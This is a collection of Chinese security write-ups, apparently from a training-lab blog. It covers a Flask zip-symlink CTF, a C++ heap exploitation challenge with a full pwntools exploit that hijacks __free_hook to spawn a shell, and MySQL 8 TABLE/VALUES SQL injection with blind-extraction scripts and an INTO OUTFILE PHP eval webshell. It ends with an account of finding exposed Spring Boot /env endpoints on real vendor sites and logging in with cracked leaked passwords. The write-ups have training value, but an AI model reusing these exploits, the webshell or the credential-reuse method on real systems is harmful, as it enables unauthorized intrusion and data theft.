对一道CTF题的详细分析
https://www.yijinglab.com/pages/CTFLaboratory.jsp0x01 前言 最近身边有萌新想打ctf,我作为一个曾经接触过一点点ctf的业余菜鸡,就索性做了一道Web题。这篇文章主要是面向想开始打ctf的萌新,所以很多地方可能都比较简单。如有错误之处,欢迎各位指正。 0x02 Flask 简介 Flask库是一个非常小型的Python Web开发框架。它有两个主要依赖:路由、调试和 Web 服务器网关接口(Web Server Gateway Interface,WSGI)子系统由 Werkzeug(http://werkzeug.pocoo.org/)提供;模板系统由 Jinja2(http://jinja.pocoo.org/)提供。Werkzeug 和 Jinjia2 都是由 Flask 的核心开发者开发而成。这里我们要重点了解一下路由。 Flask需要知道对每个 URL 请求该运行哪些代码,所以保存了一个 URL 到Python 函数之间的映射关系。处理 URL 和函数之间关系的程序称为路由。在 Flask 程序中定义路由的最简便方式,是使用程序实例提供的 app.route 修饰器,把修饰的函数注册为路由。下面的例子说明了如何使用这个修饰器声明路由: @app.route('/') def index(): return '<h1>Hello World!</h1>' 这个例子就是把 index() 函数注册为程序根地址的处理程序。如果部署程序的服务器域名为 www.example.com,在浏览器中访问 http://www.example.com 后,会触发服务器执行 index() 函数。这个函数的返回值称为响应,是客户端接收到的内容。如果客户端是 Web 浏览器,响应就是显示给用户查看的文档。 要启动服务器也很简单,程序实例用 run 方法启动 Flask 集成的开发 Web 服务器即可: if __name__ == '__main__':    app.run(debug=True) 其中,name=='main' 是 Python 的惯常用法,在这里确保直接执行这个脚本时才启动开发Web 服务器。服务器启动后,会进入轮询,等待并处理请求。轮询会一直运行,直到程序停止,比如按Ctrl-C 键。有一些选项参数可被 app.run() 函数接受用于设置 Web 服务器的操作模式。在开发过程中启用调试模式会带来一些便利,比如说激活调试器和重载程序。要想启用调试模式,我们可以把 debug 参数设为 True。要想让所有主机都可以访问,可以设置参数host="0.0.0.0"。 0x03 详细分析 赛题如下: 该Web题下载下来以后源码如下: import os import json from shutil import copyfile from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect from werkzeug.middleware.proxy_fix import ProxyFix from flask import jsonify from hashlib import md5 import signal from http.server import HTTPServer, SimpleHTTPRequestHandler os.environ['TEMP']='/dev/shm' app = Flask("access") app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1) @app.route('/',methods=['POST', 'GET']) def index():    if request.method == 'POST':        f=request.files['file']        os.system("rm -rf /dev/shm/zip/media/*")        path=os.path.join("/dev/shm/zip/media",'tmp.zip')        f.save(path)        os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')        os.system('rm /dev/shm/zip/media/tmp.zip')        return redirect('/media/')    response = render_template('index.html')    return response @app.route('/media/',methods=['GET']) @app.route('/media',methods=['GET']) @app.route('/media/<path>',methods=['GET']) def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x os.system('mkdir /dev/shm/zip') os.system('mkdir /dev/shm/zip/media') app.run(host="0.0.0.0",port=8080,debug=False,threaded=True) 接下来就开始详细介绍。 这是一个用来实现文件在线解压的网站,首先看首页对应的index函数,当访问网站首页时,可以采用GET和POST请求两种方式,对应的响应函数为index函数。题目里还有两个html文档,一个用来当上传文件时,一个用来渲染页面,这里就不贴出来了。当在首页通过html上传文档时,会执行index函数,会执行如下命令来删除文件: rm -rf /dev/shm/zip/media/* 然后拼接路径,并将上传的文件保存到这个路径:/dev/shm/zip/media/tmp.zip 之后执行命令解压: timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/ 解压后将压缩文件删除: rm /dev/shm/zip/media/tmp.zip 第二个函数是media函数,有三种url请求都由这个函数来响应,其中有一个需要特别关注的,就是 @app.route('/media/<path>',methods=['GET']) 这是动态路由,就是当请求的时候如果在media的后面再加上一个字符串,可以将这个字符串作为参数传递给path变量,执行media函数中的内容: def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x 仔细观察可以看到,path作为参数会被拼接到npath变量中,然后当npath不存在时,返回404;当npath不是目录时,会使用open函数打开,并返回给请求者。题目中提到了flag位于根目录,而path我们又可以控制,那么我们只要能够通过一种方式,将npath变成/flag是不是就可以了呢?心里想,直接用相对路径../实现路径穿越不就妥了?这么简单的吗? 0x04 峰回路转 说干就干,我把path设置成../../../../flag,直接在浏览器请求http://example.com/media/../../../../flag 结果发现不对,浏览器直接把我这些../全去掉了?url变成了http://example.com/media/flag,whatfuck? 第一反应是浏览器的问题,那就换个浏览器,结果发现也不行,然后想了想,那就用burp suite吧,结果还是不行。 最后,我在自己电脑上运行这个代码,开始各种调试,最后发现把斜杠换成两个反斜杠就可以了,能够实现路径穿越,读取上一层的文件内容,可是换成题目中就是不行。我仔细想了想应该是因为我本地是windows,而服务器是Linux,所以才不行的。眼看着时间不早了该睡觉了,还是没搞出来,于是喝了一杯茶,想了想,最后灵机一动,还是没想出来怎么搞。算了,睡觉吧。 到了第二天早上,我觉得这个必须得搞定。于是,我想到了Linux中的软链接!突然一下子就明白该怎么搞了!于是,打开我尘封已久的kali虚拟机,然后慢慢悠悠的敲下了如下命令: 成功创建了一个指向/flag的软链接,但是这个软链接怎么利用呢?这个网站既然是用来在线解压的,那我就把软链接打成一个压缩包传上去,它直接就会被解压到当前目录。然后我直接点击该文件,直接就下载下来一个车文件,打开即可看到flag内容为: flag{NeV3r_trUSt_Any_C0mpresSeD_file} 最后终于搞定了,这一刻还是很开心的。作为一个业余ctf菜鸡选手,实在是不容易。还是要多做题,多开阔眼界,学习各种骚操作!
CTF中一道C++数据结构堆风水pwn的利用分享
分享一道CTF线下比赛中由c++编写的一道高质量赛题。 附件领取:关注【蚁景网安实验室】公众号,回复 赛题 即可领取 https://www.yijinglab.com/pages/CTFLaboratory.jsp 初步分析 程序运行起来看起来似乎是一道常规的菜单堆题: libc环境: 是Glibc 2.27-3ubuntu1.4,这个版本与2.31版本很像,都有key机制,一定程度上防止了double free的攻击。 回到程序,程序的功能有插入,展示和删除,我们具体用IDA打开来看看程序是个什么逻辑。 可以看到函数列表有非常多的函数(原题去除了符号表,笔者经过逆向重命名了一些函数符号),并且使用c++编写,逆向起来难度更大,如果采取常规的静态分析手段,可能会花费很大的精力,由于题目名字是cxx_and_tree,我们猜测整个程序是用树这种数据结构来存储信息,最经典的莫过于二叉树,我们可以来写个demo来测试程序,如果申请以下堆块,那么堆结构如下面的图:    add(0, 0x60, 'a')    add(4, 0x60, 'a')    add(2, 0x60, 'a')    add(9, 0x60, 'a')    add(3, 0x60, 'a')    add(7, 0x60, 'a') 其中0x40大小的为node部分数据,其余大小的为其data数据,将其画为二叉树长成如下样子 左右子树根据其index分如上图,并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。 经过逐步调试和逆向加深对程序的理解后,笔者分析node结构体如下: struct node {  __int64 idx;  // 节点号  __int64 user_size; // 用户输入的size  __int64 *self_heap_buf; // 存储数据的buf  node *left; // 左孩子  node *right; // 右孩子  node *father; // 父节点 };具体的漏洞和代码逆向请看下文。 漏洞分析与逻辑触发点 漏洞位于当我们删除某个二叉树节点的时候,如果该节点有左右子树,会调用一个memcpy的函数,这个函数的对于节点size的处理是有问题的。 在申请节点的时候,其size的算法是这样的: 做了一个类似于align的操作,这个操作是很安全的,人为扩展了一下chunk,使得我们能够申请的最大的size和其align之后最小的size一样大,但是下面的删除节点的操作就有bug了: v2 = (unsigned __int64)tmp_target->user_size >> 3;写个poc来看下我们能溢出的字节数量 def poc():    for size in range(0x10, 0xff + 1):        biggerSize = ((size >> 3) + 1) * 8        smallerSize = (size >> 3) * 8        if biggerSize > smallerSize:            print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize))) poc() 注意到我们在触发这个逻辑的时候,有部分size是比biggerSize要小的,最多可以溢出7字节。 整个删除节点的逻辑如下: 想要到达漏洞点所在的位置,则该节点必须同时拥有左右孩子节点才可以。 分析下如果该节点同时拥有左右孩子节点,那么删除该节点的时候发生的流程大致如下: 首先是获得该节点中右子树中最小的元素(按idx确定大小,因为下面一直走的是左子树的逻辑) 然后将其要替换的节点传入到带有bug的函数中,在此函数中,程序重新申请了一块buf,然后复制要替换节点的数据到新的buf中,值得注意的是,并没有像我们传统的数据结构中一通乱改指针,而是采用了一个复制的思想,但是新创建的buf的size给少了,控制得当能够溢出七个字节。 然后再往下的逻辑就是删掉刚才的右子树中的最小节点,因为其数据已经拷贝到原本要删除的节点当中。 在这里我有个疑问,既然之前选到了右子树的最小的节点,那么为什么还要判断其是否还有左子树呢?上面的分支应该永远不会进入,或许是出题人为了增加逆向难度,又或者是出题人面向ctrl+CV编程。 然后进入一个删除节点的函数: unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node) {  struct node *v3; // rbx  struct node *v4; // rbx  struct node *v5; // rbx  struct node *v6; // rbx  unsigned __int64 v8; // [rsp+28h] [rbp-18h]  v8 = __readfsqword(0x28u);  if ( *to_delete_node == *father_node )        // only root node {    if ( *((_DWORD *)father_node + 4) == 1 )    // only a node   {      v3 = *to_delete_node;      if ( *to_delete_node )     {        deleteNode0((__int64)*to_delete_node);        operator delete(v3);     }      *father_node = 0LL;      --*((_DWORD *)father_node + 4);      *to_delete_node = 0LL;   }    else                                        // has right children   {      *father_node = (*father_node)->right;     (*father_node)->father = 0LL;             // because of the "to_delete_node == father_node", the children will be the root node      v4 = *to_delete_node;      if ( *to_delete_node )     {        deleteNode0((__int64)*to_delete_node);        operator delete(v4);     }      *to_delete_node = 0LL;   } }  else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node: {   (*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr    if ( (*to_delete_node)->right )     (*to_delete_node)->right->father = *tmp_father_node;    v5 = *to_delete_node;    if ( *to_delete_node )   {      deleteNode0((__int64)*to_delete_node);      operator delete(v5);   }    *to_delete_node = 0LL; }  else                                          // if the node to delete is in the right of its father node: {   (*tmp_father_node)->right = (*to_delete_node)->right;    if ( (*to_delete_node)->right )     (*to_delete_node)->right->father = *tmp_father_node;    v6 = *to_delete_node;    if ( *to_delete_node )   {      deleteNode0((__int64)*to_delete_node);      operator delete(v6);   }    *to_delete_node = 0LL; }  return __readfsqword(0x28u) ^ v8; }分为两种情况删除,一是叶子节点,另外就是还有一个右孩子节点,删除的方法很普通,就是普通数据结构中学的删除方法一样。 漏洞利用 完整exp如下: from pwn import * import sys arch =  64 challenge = "./pwn1" libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6" libc_path_remote = "" local = int(sys.argv[1]) elf = ELF(challenge)                                                                               context.os = 'linux' context.terminal = ['tmux', 'splitw', '-hp', '65'] if local:    if libc_path_local:        io = process(challenge,env = {"LD_PRELOAD":libc_path_local})        # io = gdb.debug(challenge, 'b *$rebase(0x279f)')        libc = ELF(libc_path_local)    else:        io = process(challenge) else:    io = remote("node4.buuoj.cn", 25965)    if libc_path_remote:        libc = ELF(libc_path_remote) if arch == 64:    context.arch = 'amd64' elif arch == 32:    context.arch = 'i386' def dbg():    context.log_level = 'debug' def echo(content):    print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m") p   = lambda     : pause() s   = lambda x   : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x   : io.recvuntil(x) rl = lambda     : io.recvline() sd = lambda x   : io.send(x) sl = lambda x   : io.sendline(x) ia = lambda     : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x   : u32(x.ljust(4,b'\x00')) uu64 = lambda x   : u64(x.ljust(8,b'\x00')) bps = [] pie = 0 def gdba():    if local == 0:        return 0    cmd ='b *$rebase(0x1ee2)\n'    if pie:        base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)        cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])        cmd +='set base={:#x}\n'.format(base)    else:        cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])    gdb.attach(io,cmd) _add,_free,_show = 2,3,1 menu = "3.remove_information" def add(idx, size, content):    sla(menu, str(_add))    sla("idx:", str(idx))    sla('size:', str(size))    sa("content:", content)    # ru('addr=')    # return int(io.recv(5), base=16) def free(idx):    sla(menu, str(_free))    sla("idx:", str(idx)) def show():    sla(menu, str(_show)) def exp():    for i in range(8):        add(i, 0xd0, 'a')    for i in range(7):        free(i)    add(8, 0x20, 'a')    show()    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']    libc_base = leak    echo('libc base:' + hex(libc_base))    free(7)    free(8)    add(7, 0xdf, 'z' * 0xdf)    add(4, 0xd0, 'a')    add(2, 0xd0, 'a')    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)    add(10, 0xdf, 'c' * 0xdf)    add(15, 0xdf, 'd' * 0xdf)    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))    # The last one chunks are buF areas of Number 3    # The last two chunks are buF areas of Number b    free(11) # 5c0 will corrupt    __free_hook = libc_base + libc.sym['__free_hook']    system = libc_base + libc.sym['system']    free(4)    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))        add(0, 0x2f, 'a')    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))    free(2)    free(0)    free(4)    free(15)    free(10)    free(13)    # Get the second chunk of 0x30    add(13, 0xd0, 'a')    add(10, 0x2f, 'a')    add(15, 0x2f, 'a')    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))    free(13)    free(10)    free(15)    add(10, 0xd0, '/bin/sh\x00')    add(8, 0x2f, '/bin/sh\x00')    add(13, 0x2f, '/bin/sh\x00')    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))    free(10)    free(8) exp() ia()漏洞其实并不太好利用,分析原因如下:insert节点的时候会额外申请别的堆块出来,整体的堆布局我们其实并不太好控制,所以漏洞利用的时候会有时不可控,我们需要反复的调试,现给出exp的书写思路。 泄露libc基址    for i in range(8):        add(i, 0xd0, 'a')    for i in range(7):        free(i)    add(8, 0x20, 'a')    show()    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']    libc_base = leak    echo('libc base:' + hex(libc_base))    free(7)    free(8)在2.27下,只要循环填满tcache即可很容易的泄露出libc 布置二叉树    add(7, 0xdf, 'z' * 0xdf)    add(4, 0xd0, 'a')    add(2, 0xd0, 'a')    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)    add(10, 0xdf, 'c' * 0xdf)    add(15, 0xdf, 'd' * 0xdf)    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))可以看到,我们在输入content的时候会输入一些很奇怪的值,这个时候的值我们是无法确定的,必须结合后文来慢慢调试。 初始状态如图所示,这个时候我们去free11,将会到达漏洞所在逻辑的位置处,让程序触发漏洞。 此时堆空间的布局如图所示 可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位,形成了overlap 下面是关键操作,劫持tcache数组的0x30大小的chunk的fd为hook    free(4)    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))此时的bins情况: 此时的二叉树为: 因为现在已经将freehook链入到tcache里面,下面我们的工作主要就是围绕怎么将其申请出来而努力,首先直接申请是肯定不行的,我也没有深究,因为申请的时候会首先申请两个chunk出来,然后将其free掉,然后再做一系列的memcpy操作,在这一系列的过程中,无法保证中间chunk的合法性能够绕过检查,所以我们还是利用漏洞点申请不同size的chunk的这一特性努力,我们可以逐个布置满足要求的二叉树节点,然后利用漏洞来申请出来这个chunk。 第一轮申请    add(0, 0x2f, 'a')    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))    free(2)布置完如下node,二叉树为: 堆布局为: 可以看到还有两个node就可以申请到freehook。    free(0)    free(4)    free(15)    free(10)    free(13)清除一些无关的node,为我们布置节点做好铺垫。 第二轮申请    add(13, 0xd0, 'a')    add(10, 0x2f, 'a')    add(15, 0x2f, 'a')    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))    free(13)此时二叉树为: 堆布局为: 清除一些节点来重新布置    free(10)    free(15) 第三轮申请并getshell 故技重施,最终可以申请到hook所在空间并getshell    add(10, 0xd0, '/bin/sh\x00')    add(8, 0x2f, '/bin/sh\x00')    add(13, 0x2f, '/bin/sh\x00')    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))    free(10)    free(8) # getshell 本文到这里就结束了,如果有疑问或者任何不当之处欢迎联系笔者进行技术交流:mailto:lemonujn@gmail.com
mysql8.0.2新特性注入由浅到深
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言 最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。 环境搭建 我这里是用docker在服务器上拉的,然后用navicat来看的 下载 docker pull mysql:8.0.21 docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 进入mysql容器,并登陆mysql docker exec -it mysql8 bash mysql -uroot -p //然后输入密码开启远程访问权限 use mysql; select host,user from user; ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; flush privileges; 连进去看看版本号就可以了,如果是8.0.21则环境搭建完成 基本知识 本次测试所用到的user表内容如下 table 基本用法 在MYSQL8以后出现的新语法,作用和select类似。 作用:列出表中全部内容 语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。 table user order by 2 table user limit 2与SELECT的区别: 1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句 注意事项 比较问题1 (table information_schema.TABLESPACES_EXTENSIONS limit 6,7) 结果 TABLESOACE_NAME tmp/user这里用小于号进行比较 select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:0select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:1select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:1综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。 但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。 所以在进行注入中注意要把得到的数ascii值减1。 比较问题2 来看下面的两个例子 select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:1select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:NULLselect (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:0所以这里在判断最后一位是,要注意这里记得到取0之前的值。 整数比较问题 table user limit 0,1 返回值:1 hel看下面的例子 select (('0',2)<(table user limit 0,1)) 返回值:1select (('1',2)<(table user limit 0,1)) 返回值:0select (('2',2)<(table user limit 0,1)) 返回值:0select (('0aaaa',2)<(table user limit 0,1)) 返回值:1select (('1aaaa',2)<(table user limit 0,1)) 返回值:0在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。 VALUES VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。 作用:列出一行的值 语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list:   ROW(value_list)[, ROW(value_list)][, ...]value_list:   value[, value][, ...]column_designator:   column_index他的语法看起来很长,但用起来很简洁。 基本使用 VALUES ROW(1,2) VALUES ROW(1,2,3) VALUES ROW(1,2,3),ROW(5,6,7)配合union使用 VALUES ROW(1, 2) union select * from user select * from user union VALUES ROW(1, 2) information_schema.TABLESPACES_EXTENSIONS 我们可以通过这个表去查询所有数据库中的数据库和数据表 table information_schema.TABLESPACES_EXTENSIONS 等价于 select * from information_schema.TABLESPACES_EXTENSIONS 在这里我也列出几个和他相同功能的函数 information_schema.SCHEMA information_schema.TABLES information.COLUMNS mysql.innodb_table_stats mysql.innodb_index_stats sys.schema_tables_with_full_table_scans 实战演练 基础练习 index.php <?php // error_reporting(0); require_once('config.php'); highlight_file(__FILE__); $id = isset($_POST['id'])? $_POST['id'] : 1; if (preg_match("/(select|and|or| )/i",$id) == 1){    die("MySQL version: ".$conn->server_info); } $data = $conn->query("SELECT username from users where id = $id"); foreach ($data as $users){    var_dump($users['username']); } ?>config.php <?php // config.php $dbhost = 'ip';       // mysql服务器主机地址 $dbuser = 'root';           // mysql用户名 $dbpass = '123456';          // mysql用户名密码 $dbname = 'user';         // mysql数据库 $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname); ?>数据库信息 输入id会返回数据库的值 这里过滤了几个字符,尝试绕过并报出数据库 id=0%09union%09values%09row(database())爆字段 如果字段数多了或者少了会报错 得到字段数 id=0%09||('1','')<(table%09users%09limit%091) //有回显 id=0%09||('2','')<(table%09users%09limit%091) //无回显然后去爆破值 select ('1','a')<(table users limit 1) //有回显 select ('1','r')<(table users limit 1) //有回显 id=0%09||('1','s')<(table%09users%09limit%091) //这里就可以得到第一个值,然后继续爆 id=0%09||('1','roos')<(table%09users%09limit%091) //有回显 id=0%09||('1','root')<(table%09users%09limit%091) //无回显到这里记得在最后一个值加上1,这样就可以得到数据库的值 脚本 import requests def ord2hex(string): result = "" for i in string:  r = hex(ord(i));  r = r.replace('0x','')  result = result+r return '0x'+result tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' flag = "" for i in range(0,50): for j in range(110,122): data = { 'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)), } r = requests.post('http://127.0.0.1/index.php',data=data); print(data) if 'string(4)' in r.text: continue else: flag = flag +chr(j-1) print(flag) break if(len(flag)<i): break print(flag[:-1]+chr(ord(flag[-1:])+1)) 写文件 除了上面的方法还可以通过读写来getshell 查看是否有权限写入文件 id=0/**/union/**/values/**/row(user()) id=0/**/union/**/values/**/row(@@secure_file_priv)如果有,则可以通过下面的语句写入 id=0/**/union/**/values/**/row(load_file('/flag'))id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e) /**/into/**/outfile/**/'/var/www/html/shell.php' //<?php @eval($_POST[1]);?> 香山杯---login 这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。 描述 题目内容:只是一个简单的登录框,登录就有flag。 hint: mysql8新特性:values的利用 解题过程 进去就一个登陆框,直接抓包看看 发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵 简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。 这里还可以用||来进行拼接。 测试,发现这样就可以进行注入。 username=123' || 1=1#&password=456&login=login脚本 import requests flag='' i=0 while True: small=32 big=127 i=i+1 while small<big: mid=small+big>>1 data={ 'username':f"1' || ascii(mid(database(),{i},1))>{mid}#", 'password':'1', } r=requests.post('http://xxx.com/',data=data) if '密码错误' in r.text: small=mid+1 else: big=mid if(i>4): break else: print(chr(small)) flag+=chr(small) print(flag)通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。 import requests def ord2hex(string): result = "" for i in string:  r = hex(ord(i));  r = r.replace('0x','')  result = result+r return '0x'+result tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' flag = "" for i in range(0,50): for j in range(48,122):  data = {  # 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),  #'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),  # username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login   'password':'', }  r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);  if '用户名不存在' in r.text:   flag = flag +chr(j-1)   print(flag)   break上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。 本题就用union去生成了一个新的values来进行绕过。 username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login登录进去就有flag了。 搭建环境问题 如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以) 就添加这两行 bind-address = 0.0.0.0 default_authentication_plugin=mysql_native_password完整的代码 # Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # The MySQL Server configuration file. # # For explanations see # http://dev.mysql.com/doc/mysql/en/server-system-variables.html [mysqld] pid-file       = /var/run/mysqld/mysqld.pid socket         = /var/run/mysqld/mysqld.sock datadir         = /var/lib/mysql secure-file-priv= NULL bind-address = 0.0.0.0 default_authentication_plugin=mysql_native_password # Custom config should go here 参考文章 https://www.actionsky.com/2777.htmlhttps://blog.csdn.net/HBohan/article/details/119757059
从一个信息泄露获取多本cnvd证书的过程
https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858前言   个人在无事的时候喜欢逛cnvd官网,查看最近出的一些漏洞,以及去尝试挖掘,在此过程中让自己的能力提升,运气好的情况下说不定还能获取证书(小小的想法,嘿嘿)。 寻找目标?   又和往常一样,继续逛cnvd官网。 这里提示说一下,这边我主要选择一个是web应用漏洞列表,因为比较好挖,而且适合我这样的小白。 确定目标   在艰难的选择下,选中一名幸运厂商“xxxx”,下面直接说挖掘方法。注:在寻找厂家的时候一定要选择那些获得证书的漏洞厂家,这样只要能发现厂家的一些漏洞,那证书岂不是稳稳的嘛。具体获得证书的要求如下: 知道了获取方式的要求,就直接进入主题吧。 利用搜索工具或者引擎,搜索厂家的系统或者设备 搜索方式个人比较喜欢用fofa,fofa-yyds(要是有个高级会员就更好了) 如何去搜?简单的一种方式,就是直接将某设备或者某系统直接复制粘贴到fofa搜索框中,如下: 可能上面有点啰嗦了,但是了解怎么去搜索才是挖到漏洞和获取证书的前提。 第一本证书 下面说说个人挖掘到证书的流程。1、确定网站指纹,去目标网站官网,了解该系统或者设备使用什么语言什么框架所写。 如:我所发现这次的目标是使用了spring boot框架所写,所以直接确定是否存在信息泄露等漏洞。 发现是spring boot,下面直接进行工具扫描。注:一些网站并未显示出来,也可能显示出来但是漏洞被修复了,所以需要去多个网站查看,这个漏洞我是进行多个站点扫描才发现。 利用工具:xray、dirsearch等目录工具基本都可以,这里我直接用xray进行被动式扫描。 漏洞如下:http://xxx:port/env 因敏感信息比较多,所以就稍微截了点图。 发现第一个漏洞(信息泄露) 这个漏洞可以直接获取存在用户的密码(md5加密) 然而登录页面中发现登录密码,加密方式并不是md5加密,是其他加密。(当时有点迷)。在尝试了多个网站,发现有一些md5是可以被解出来的。通过解出来的密码可以成功登陆。 成功登陆 到这里第一本证书到手。前提是别人未提交,那必须稳稳拿下。 第二本证书 第二个漏洞-未授权访问 这个漏洞还是继续去分析上面的env页面,从中发现了这个漏洞(未授权访问)。 从中发现了一个目录/xxxmms/,当多次尝试一些网站的时候发现成功跳转了,所以第二个证书到手了----未授权访问。 未获得证书(撞洞了) 再回头去看env页面,发现还有其他的一些目录,还是一样操作,多个网站进行测试,发现了其他的一个系统。 这里的密码加密方式为md5,并且我发现其他用户system用户,这个才是管理员用户。 然后直接替换md5进行登录,在这里需要使用burp提换两次密码,才能成功登录。 首先通过信息泄露漏洞,获取system的MD5值: 通过提换md5进行登录(还有一次替换跳过) 成功登录 第三本证书 通过env页面泄露的目录,又发现其他系统 在页面中发现使用手册,发现默认密码为123456,但是未登录成功。相继去尝试了很多站点,发现都被修改了密码。然后就利用一开始解密出来的密码进行登录,发现有的可以登录成功,有的却不行。最终还是找到了远超过10+的案例。并去提交了漏洞,但未成功通过。驳回如下: 然后没办法继续去在后台进行测试,寻找未授权的页面,这样才能获取证书。最终通过burp和目录扫描工具发现一个soap接口信息泄露,并且未带有token值,所以应该存在未授权。访问其他未登录的站点: 到此结束这次的测试。提交如下: 先到手两本证书,还有一本还在制定中。 ### 